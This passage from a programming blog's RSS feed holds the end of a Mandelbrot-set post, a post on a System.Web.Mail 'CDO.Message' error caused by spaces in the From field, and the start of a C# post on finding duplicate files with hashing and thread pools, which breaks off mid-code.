<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; c <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">16</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">8</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>set_pixel<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>x<span style="color: rgb(128, 128, 192); font-weight: bold;">+</span><span style="color: teal;">1</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>y<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>c<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
</div>
<p>This code generates identical results as the code mentioned previously. As you can see, the inner loop is not unrolled to handle two data points at a time.</p>
<p>As it turned out, this algorithm runs almost twice as fast as the code mentioned earlier(280ms versus 510ms on Intel Q9450 @ 3.4GHz).</p>
<p align="center"><img alt="Mandelbrot Set" src="/blog/wp-content/uploads/2008/09/mandelbrot_tbb.jpg" /></p>
<p><strong>Source code</strong> for this article can be downloaded <a href="/blog/wp-content/uploads/2008/09/mandelbrot_tbb.zip">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/13/tbb-mandelbrot-set/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>An Obscure System.Web.Mail Error Message</title>
		<link>http://www.kerrywong.com/2008/09/09/an-obscure-systemwebmail-error-message/</link>
		<comments>http://www.kerrywong.com/2008/09/09/an-obscure-systemwebmail-error-message/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 01:08:05 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=345</guid>
		<description><![CDATA[Today I encountered a rather obscure error while maintaining some old ASP.Net code (Framework 1.1). One of our mail servers is going to be replaced with another one. So naturally we needed to change configurations for those applications that send emails using the old server.
This change affected one of the applications I wrote a while [...]]]></description>
			<content:encoded><![CDATA[<p>Today I encountered a rather obscure error while maintaining some old ASP.Net code (Framework 1.1).<span id="more-345"></span> One of our mail servers is going to be replaced with another one. So naturally we needed to change configurations for those applications that send emails using the old server.</p>
<p>This change affected one of the applications I wrote a while ago. Since I stored all the configuration information inside the web.config file, I thought it was just a simple matter of changing the server from &#8217;server1&#8242; to &#8217;server2&#8242; and then I was done. Well, as it turned out, the result was totally unexpected.</p>
<p>Upon finishing the configuration change, I decided to test the application even though I was sure that everything would be working just fine. I was wrong, instead of getting the expected results, I got the following error message while trying to send email through the application:</p>
<p><strong>Exception:</strong><br />
<span style="color: #800000;">Could not access &#8216;CDO.Message&#8217; object.</span></p>
<p><strong>InnerException:</strong><br />
<span style="color: #800000;">Exception has been thrown by the target of an invocation.InnerException:<br />
at System.RuntimeType.InvokeDispMethod(String name, BindingFlags invokeAttr, Object target, Object[] args, Boolean[] byrefModifiers, Int32 culture, String[] namedParameters)<br />
at System.RuntimeType.InvokeMember(String name, BindingFlags invokeAttr, Binder binder, Object target, Object[] args, ParameterModifier[] modifiers, CultureInfo culture, String[] namedParameters)<br />
at System.Type.InvokeMember(String name, BindingFlags invokeAttr, Binder binder, Object target, Object[] args)<br />
at System.Web.Mail.LateBoundAccessHelper.CallMethod(Type type, Object obj, String methodName, Object[] args)<br />
at System.Web.Mail.LateBoundAccessHelper.CallMethod(Object obj, String methodName, Object[] args)</span></p>
<p>Since the only thing changed was the server configuration, I thought that it was definitely a configuration problem of the new mail server. But that could not have been the problem as many applications had already been migrated over and they were working just fine.</p>
<p>After a Google search, it became apparent to me that many people out there are having <a href="http://www.systemwebmail.com/">the same issue</a>. But no information seemed to point to a definitive answer. And the tricks mentioned in various articles did not solve my particular problem. After some struggle, I found out that the culprit was actually my <strong>MailMessage.From</strong> field. Instead of an actual email address, I had always used some random names (e.g. system notification, etc.). And apparently, the spaces in the From field string would cause the error I mentioned above. And if I remove all the spaces in the From field, the exception goes away. Since the <strong>SmtpMail</strong> object is simply a wrapper for the Win32 CDO (Collaborative Data Objects), the error was poorly propagated back (like many of the errors in .Net as I mentioned previously. See <a href="/2008/01/11/the-elusive-filecopy/">1</a>, <a href="/2007/11/15/understanding-a-generic-error-occurred-in-gdi-error/">2</a>, <a href="/2007/10/23/lousy-gdi-error-messages/">3</a>).</p>
<p>Indeed, had the error message been something more clear like &#8220;<em>Error: From field must not contain any space</em>&#8220;, I would not have spent the good portion of the afternoon hunting for bugs (I still think it must have something to do with the new mail server&#8217;s configuration, since this code has been working with other mail servers).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/09/an-obscure-systemwebmail-error-message/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Producer-Consumer: A Duplicate File Finder</title>
		<link>http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/</link>
		<comments>http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/#comments</comments>
		<pubDate>Sat, 06 Sep 2008 01:08:16 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/</guid>
		<description><![CDATA[Processes tend to benefit greatly from multi-core processors if they are CPU bound (i.e. computational intensive tasks). The actual speedup depends on the portion of the code that must remain sequential. The multi-core benefit diminishes for IO bound processes however since hard drive performance becomes the limiting factor. Unlike solid state drives (SSD), traditional hard [...]]]></description>
			<content:encoded><![CDATA[<p>Processes tend to benefit greatly from multi-core processors if they are CPU bound (i.e. computational intensive tasks). The actual speedup <a href="http://en.wikipedia.org/wiki/Amdahl%27s_Law">depends on the portion of the code that must remain sequential</a>.<span id="more-334"></span> The multi-core benefit diminishes for IO bound processes however since hard drive performance becomes the limiting factor. Unlike solid state drives (SSD), traditional hard drives are very good at handling large sequential reads/writes but handle random accesses poorly. In fact, parallelizing sequential read/write access can actually cause performance degradation since sequential data might be accessed by different threads and parallelizing the access makes the access pattern of each thread more random. So the performance of such IO bound task is largely determined by the IO sub-system performance.</p>
<p>For tasks that contain both intensive IO operations and CPU usages however it is desirable to parallelize the IO bound portion and the CPU bound portion of code so that maximum parallelism can be achieved.</p>
<p>An example of such IO and CPU intensive tasks is finding duplicate files in a file system. To find duplicate files, files or their hashes must be compared. In this post, I will discuss a couple of different approaches to achieve this using threading.</p>
<p><strong>1. Sequential find</strong><br />
First let us take a look at how to find duplicate files sequentially (all the sample code can be downloaded from <a href="/blog/wp-content/uploads/2008/09/dupfinder.zip">here</a>):</p>
<p>Suppose we have a function that returns a list of files within a directory (see GetFileList in FileUtils). In function FindDuplicates, we loop through the list of files and calculate the hash of each file. The file name and hash are used together as a key to a hash table. Whenever the same key is indexed the count is incremented by one indicating a duplicate file is found. Here is what the code looks like:</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> FindDuplicates(<span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">foreach</span> (<span style="color: blue; font-weight: bold;">string</span> fn <span style="color: blue; font-weight: bold;">in</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span> h <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> ComputeMD5(fn);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (h <span style="color: rgb(128, 128, 192); font-weight: bold;">!=</span> <span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Empty)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span> def <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFileName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FilePath <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectoryName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>LastModifiedDate <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetLastWriteTime(fn);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span> fileInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span>(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> fileInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Contains(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)))</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> l;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h), l);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p>
<strong>2. ThreadPool</strong><br />
We could improve the performance by moving the hash calculation to separate threads. </p>
<p>The first approach to parallelize the task is to use a thread pool to queue the work of calculating file hashes. Since calculating file hash involves reading in the whole file (IO bound) and some calculation on the content, there is some inherent parallelism so using multiple threads could potentially improve performance.</p>
<p>The code below shows this approach:</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> FindDuplicates(<span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> (<span style="color: blue; font-weight: bold;">int</span> n <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span>; n <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> files<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Count; n <span style="color: rgb(128, 128, 192); font-weight: bold;">+=</span> _numOfThreads)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">AutoResetEvent</span>[_numOfThreads];</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> (<span style="color: blue; font-weight: bold;">int</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span>; i <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> _numOfThreads; i<span style="color: rgb(128, 128, 192); font-weight: bold;">++</span>)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (n <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> files<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Count)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents[i] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">AutoResetEvent</span>(<span style="color: blue; font-weight: bold;">false</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">ThreadPool</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>QueueUserWorkItem(CalculateFileHash, <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileThreadInfo</span>(i, files[n <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> i]));</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents[i] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">AutoResetEvent</span>(<span style="color: blue; font-weight: bold;">true</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">WaitHandle</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WaitAll(_autoEvents);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">private</span> <span style="color: blue; font-weight: bold;">void</span> CalculateFileHash(<span style="color: blue; font-weight: bold;">object</span> stateInfo)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileThreadInfo</span> threadInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> stateInfo <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileThreadInfo</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span> h <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> ComputeMD5(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Thread</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>CurrentThread<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Name <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (h <span style="color: rgb(128, 128, 192); font-weight: bold;">!=</span> <span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Empty)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span> def <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFileName(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
